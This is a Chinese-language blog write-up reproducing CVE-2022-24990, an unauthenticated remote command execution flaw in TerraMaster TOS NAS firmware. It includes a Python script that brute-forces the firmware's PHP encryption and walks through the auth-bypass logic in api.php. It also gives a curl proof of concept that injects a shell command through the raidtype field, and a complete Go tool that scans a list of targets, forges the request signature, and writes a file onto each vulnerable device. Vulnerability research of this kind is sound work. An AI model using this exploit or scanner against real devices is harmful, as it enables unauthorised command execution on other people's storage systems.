玩命加载中 . . .

CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现


1.漏洞信息

2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。

2.漏洞复现

2.1 源码的获取

官网目前已经无老版本的固件下载连接,需要到论坛获取下载连接

漏洞版本下载连接:https://download2.terra-master.com/TOS_S2.0_Install_JM33_4.2.15_2107221409_2107221412.ins

upload successful

需要解压,binwalk解压后

upload successful

upload successful

upload successful

upload successful

upload successful

打开源码发现,文件是加密的

upload successful

去看看有没有别人破解的

http://xibai.xyz/2022/02/24/%E9%93%81%E5%A8%81%E9%A9%ACF2-420-4-1-27%E5%9B%BA%E4%BB%B6%E9%80%86%E5%90%91%E5%88%86%E6%9E%90/

https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

看了下大佬文章发现,是基于screw_aes项目改的

https://github.com/del-xiong/screw-plus 下载查看一下是在原有的基础上加了异或,但是不知道异或的数是多少,因为proc文件为空,尝试爆破这个异或的数值进行解密

解密脚本 记得改screw路径 和 解密目标文件

import os


def getAllSub(path, dirlist=[], filelist=[]):
    flist = os.listdir(path)
    for filename in flist:
        subpath = os.path.join(path, filename)
        if os.path.isdir(subpath):
            dirlist.append(subpath)  # 如果是文件夹,添加到文件夹列表中
            getAllSub(subpath, dirlist, filelist)  # 向子文件内递归
        if os.path.isfile(subpath):
            filelist.append(subpath)  # 如果是文件,添加到文件列表中
    return dirlist, filelist


def getSufFilePath(fileList, suffix):
    # print(len(fileList))
    for ff in fileList[:]:  # 这种写法可以避免循环判断删除时跳过一些项
        if not ff.endswith(suffix):
            fileList.remove(ff)


def ecryption(filename):
    head, tail = os.path.split(filename)
    filename2 = tail.split(".")[0]
    path = head + "/" + filename2 + "_decryption" + '.php'
    i = 0
    while(i < 256):
        with open(filename, 'rb') as f:
            debug_cipher = f.read()
            with open(path, 'wb') as o:
                o.write(debug_cipher[:32])
                for j in debug_cipher[32:]:
                    o.write((i ^ j).to_bytes(1, 'big'))
            f.close()
            o.close()
            os.system('/root/桌面/screw-plus-master/tools/screw ' + path + ' -d')
            with open(path, 'rb') as p:
                if p.read(5) == b'<?php':
                    print(i)
                    p.close()
                    break
                else:
                    i = i + 1


if __name__ == "__main__":
    path = r'/root/桌面/TOS4.2.31/TOS4.2.31/FILES/usr/www/'
    Dirlist, Filelist = getAllSub(path)
    getSufFilePath(Filelist, '.php')
    for FilePhp in Filelist:
        # print(FilePhp)
        ecryption(FilePhp)

解密结果是目标文件后加_decryption的php文件

upload successful

2.2 漏洞分析

查看poc

curl -vk 'http://XXXX/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$2kc1Zqe8$gi6hkBlDDDFHpG3RkZtws1' -d 'raidtype=;id>/tmp/a.txt;&diskstring=XXXX' -H 'TIMESTAMP: 1642335373' -H 'SIGNATURE: 473a6d90ede9392eebd8a7995a0471fe' | jq -r

出现问题的是api.php

查看该文件

<?php
/**
 * Created by PhpStorm.
 * User: Jaylin
 * Date: 2017/2/28
 * Time: 14:19
 */
include_once "../include/app.php";
include_once "../include/function/mobile.php";

#关闭所有函数报错...
@error_reporting(0);

$default_controller = "mobile";
$default_action = "index";
$in = router();

$URI = $in['URLremote'];
if (!isset($URI[0]) || $URI[0] == '') $URI[0] = $default_controller;
if (!isset($URI[1]) || $URI[1] == '') $URI[1] = $default_action;
define('Module', $URI[0]);
define('Action', $URI[1]);
$class = Module;
$function = Action;
#定义不需要验证登录的方法...
$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");

if (!in_array($function, $GLOBALS['NO_LOGIN_CHECK'])) {
    define('REQUEST_MODE', 1);
    //加载原始session
    if (isset($in['PHPSESSID']) && !empty($in['PHPSESSID'])) {
        session_id($in['PHPSESSID']);
        $GLOBALS['sessionid'] = $in['PHPSESSID'];
    }
    @session_start();
    @session_write_close();
    //初始化阵列
    $raid = new raid();
    $base_md = $raid->_main_disk();
    if (!empty($base_md)) {
        define('DATA_BASE', "$base_md/");
    } else {
        define('DATA_BASE', null);
    }
    define('USER_PATH', DATA_BASE . "User/"); //用户目录
    define('PUBLIC_PATH', DATA_BASE . "public/"); //公共目录
    define('DATA_THUMB', DATA_BASE . '@system/thumb/');//缩略图生成存放
} else {
    define('REQUEST_MODE', 0);
}
$instance = new $class();
if (!in_array($function, $class::$notHeader)) {
    #防止请求重放验证...
    if (tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300) {
        $instance->output("Illegal request, timeout!", 0);
    }
}
$instance->$function();

upload successful

upload successful

function stripslashes_deep($value){ 
    $value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null); 
    return $value;
}

继续看api.php

upload successful

upload successful

upload successful

首先看NO_LOGIN_CHECK 主要在判断是否需要登录判断

先看一下不需要登录的指定方法发现都在www\include\class\mobile_decryption.php这个文件的类中

upload successful

mobile_decryption.php

upload successful

先看下他的构造方法

//不检查是否登录..
static $notCheck = [
    "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
    'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
];
//不验证头信息是否匹配...
static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];
private static $U = null;
private static $filter = array(".", "..", ".svn", "lost+found", "aquota.group", "aquota.user");

function __construct()
{
    parent::__construct();
    $this->start = $this->mtime();

    if (isset($_SERVER['HTTP_USER_DEVICE']) && $_SERVER['HTTP_USER_DEVICE'] == "TNAS") $_SERVER['HTTP_USER_AGENT'] = "TNAS";
    //排除非法请求...
    if (!in_array(Action, self::$notHeader)) {
        if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {
            $this->output("Illegal request, please use genuine software!", false);
        }
    }
    if (REQUEST_MODE) {
        if (DATA_BASE == null) {
            $this->output("main raid not exists", false);
        }
        //避免session不可写导致循环跳转
        if (!isset($_SESSION)) {
            $this->output("session write error!", false);
        } else {
            $this->user = &$_SESSION['kod_user'];
        }
        if (isset($this->in['PHPSESSID'])) {
            $this->sessionid = $this->in['PHPSESSID'];
        }
        #管理员接口
        if (in_array(Action, $this->noPermission)) {
            if ($this->user['role'] != "root") {
                $this->output("User [{$this->user['name']}] does not have permission!", false);
            }
        }
    }
    if (!in_array(Action, self::$notCheck)) {
        if (!$this->loginCheck()) {
            $this->output("login is timeout", 0);
        }
    }
    //初始化
    if (self::$U == null) self::$U = new person();
    if (self::$U->deamon()) {
        $this->output("user hasn't permission!", true, 0);
    }
}

upload successful

upload successful

所以这个$this->REQUESTCODE暂时没法去绕过

继续往下看

upload successful

目前还只能调用这两个数组中的指定方法,才能绕过指定的检测

$GLOBALS['NO_LOGIN_CHECK'] = array("webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected");
static $notHeader = ["fileDownload", "videoPlay", "imagesThumb", "imagesView", "fileUpload", "tempClear", "wapNasIPS", "webNasIPS", "isConnected"];

upload successful

notcheck数组

static $notCheck = [
    "webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected",'createid',
    'user_create','user_bond','user_release','login', 'logout', 'checkCode', "wapNasIPS"
];

upload successful

所以到此简单梳理一下

不在这个两个数组内需登录相关的验证

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);

static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];

不在这个数组内的需要下面两个的检测

static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)
if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {

那么在均在三个数组内的发现只有下面个方法

webNasIPS isConnected

upload successful

upload successful

发现只能获取一些时间webNasIPS failed了进指定方法查看一下

upload successful

upload successful

upload successful

因为我们获得了$this->REQUESTCODE所以可以绕过

if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {

还需要然后下面的才能使用其他的非notHeader 的方法

static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)

主要这个tos_encrypt_str搜索并没有发现 时间上面我们已经可以可以获得了

upload successful

应该在php自定义拓展里面搜索定位一下

upload successful

upload successful

upload successful

跟踪get_mac_addr

upload successful

upload successful

因为mac地址webips可以知道,所以也可以进行绕过

tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’] - $_SERVER[‘HTTP_TIMESTAMP’] > 300)

所以我们可以使用下面两个数组中共有的方法了,因为还有登录判断,只能找两个数组中公共的

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);

static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];

有一下方法

webNasIPS getDiskList getInstallStat getIsConfigAdmin setAdminConfig isConnected createRaid

一个一个看

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

upload successful

至此,完成了命令执行

梳理一下,通过webNasIPS可以获取$this->REQUESTCODE mac地址 系统时间

可以用于绕过

tos_encrypt_str $this->REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]

便可以用其他方法,在createRaid方法发现$this->in[‘raidtype’]可控且传入了popen命令函数中

造成了命令执行

2.3 编写poc脚本

package main

import (
    "bufio"
    "crypto/md5"
    "flag"
    "fmt"
    "io"
    "io/ioutil"
    "net/http"
    "os"
    "regexp"
    "strings"
    "time"
)

func main()  {
    var url string;
    var pathfile string;

    flag.StringVar(&url, "u", "", "指定检测的目标的url")
    flag.StringVar(&pathfile,"f","","指定检测的目标的u文件路径")
    flag.Parse()
    if url != ""  {
        poc_getinfo(url)
    }
    if pathfile != "" {
        fi, err := os.Open(pathfile)
        if err != nil {
            fmt.Printf("Error: %s\n", err)
            return
        }
        defer fi.Close()

        br := bufio.NewReader(fi)
        for {
            a, _, c := br.ReadLine()
            if c == io.EOF {
                break
            }
            url = strings.TrimSpace(string(a))
            poc_getinfo(url)
        }

    }
    if url == "" && pathfile == ""{
            fmt.Printf("-h 查看命令")
    }
}
func poc_getinfo(Url string) {
    var targetUrl string
    if strings.HasSuffix(Url, "/") {
        targetUrl = Url +  "module/api.php?mobile/webNasIPS"
    } else {
        targetUrl = Url + "/module/api.php?mobile/webNasIPS"
    }
    //提交请求
    reqest, err := http.NewRequest("GET", targetUrl, nil)
    //增加header选项
    reqest.Header.Add("User-Agent", "TNAS")
    //处理返回结果
    cli := http.Client{ Timeout: 10*time.Second }
    response, err := cli.Do(reqest)
    if err != nil {
        fmt.Printf(targetUrl + "访问错误\n")
    }else {

        body,err := ioutil.ReadAll(response.Body)
        if err == nil{
            if strings.Contains(string(body),"webNasIPS successful"){
                fmt.Printf(targetUrl + "存在信息泄露\n")
                poc_execute(string(body),Url)
            }else {
                fmt.Printf(targetUrl + "不存在信息泄露\n")
            }
        }
        defer response.Body.Close()
    }
}
func  poc_execute(req string,targetUrl string)  {
    r := regexp.MustCompile(`"mac\\":\\"(.*?)\\"`)
    f := regexp.MustCompile(`PWD:(.*?)\\`)
    timestamp := string(time.Now().Unix())
    mac := r.FindStringSubmatch(req)
    macString := strings.Replace(mac[1], ":","",-1)
    macString = string([]rune(macString)[len([]rune(macString))-6:])
    authorization := f.FindStringSubmatch(req)
    data := []byte(macString + timestamp)
    has := md5.Sum(data)
    signature := fmt.Sprintf("%x", has)
    fmt.Println(authorization[1] + "\n" + signature)
    url:= targetUrl + "/module/api.php?mobile/createRaid"
    request, _ := http.NewRequest("POST", url, strings.NewReader("raidtype=;echo \"<?php phpinfo();?>\">phpinfo.php&diskstring=XXXX"))
    request.Header.Set("Authorization", authorization[1])
    request.Header.Set("Signature", signature)
    request.Header.Set("Timestamp", timestamp)
    request.Header.Set("User-Agent", "TNAS")
    request.Header.Set("Content-Type", "application/x-www-form-urlencoded")
    client := &http.Client{}
    resp, _ := client.Do(request)
    defer resp.Body.Close()
    body, _ := ioutil.ReadAll(resp.Body)
    if strings.Contains(string(body),"successful"){
        fmt.Printf(targetUrl + "存在命令执行:" + targetUrl + "/module/phpinfo.php\n")
    }else {
        fmt.Printf(targetUrl + "不存在命令执行\n")
    }
}

upload successful

upload successful

3.最后

想看下4.2.32关于这个漏洞的修复,看不懂新的php_terra_master.so加密方式,没法继续看了

upload successful

upload successful

本人水平有限,如有错误还请大佬指点!

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
安全狗文件上传-sql注入绕过实验记录 安全狗文件上传-sql注入绕过实验记录
此文章为博客丢失找回内容此文章为博客丢失找回内容可能存在部分内容缺失情况 一、绕过安全狗文件上传先上传一个正常文件,观察一下基本情况 收集到基本信息 1.为windows系统php5.4.45环境 apache2.4.23环境 2.上传
2022-11-07
下一篇 
利用php7-4新特性webshell 利用php7-4新特性webshell
1.前言看到一篇利用php7.1新特性webshell的文章感觉思路很好,https://cloud.tencent.com/developer/article/1593612 简单的测试,本文使用php7.4的新特性的webshell做一
2022-05-04
  目录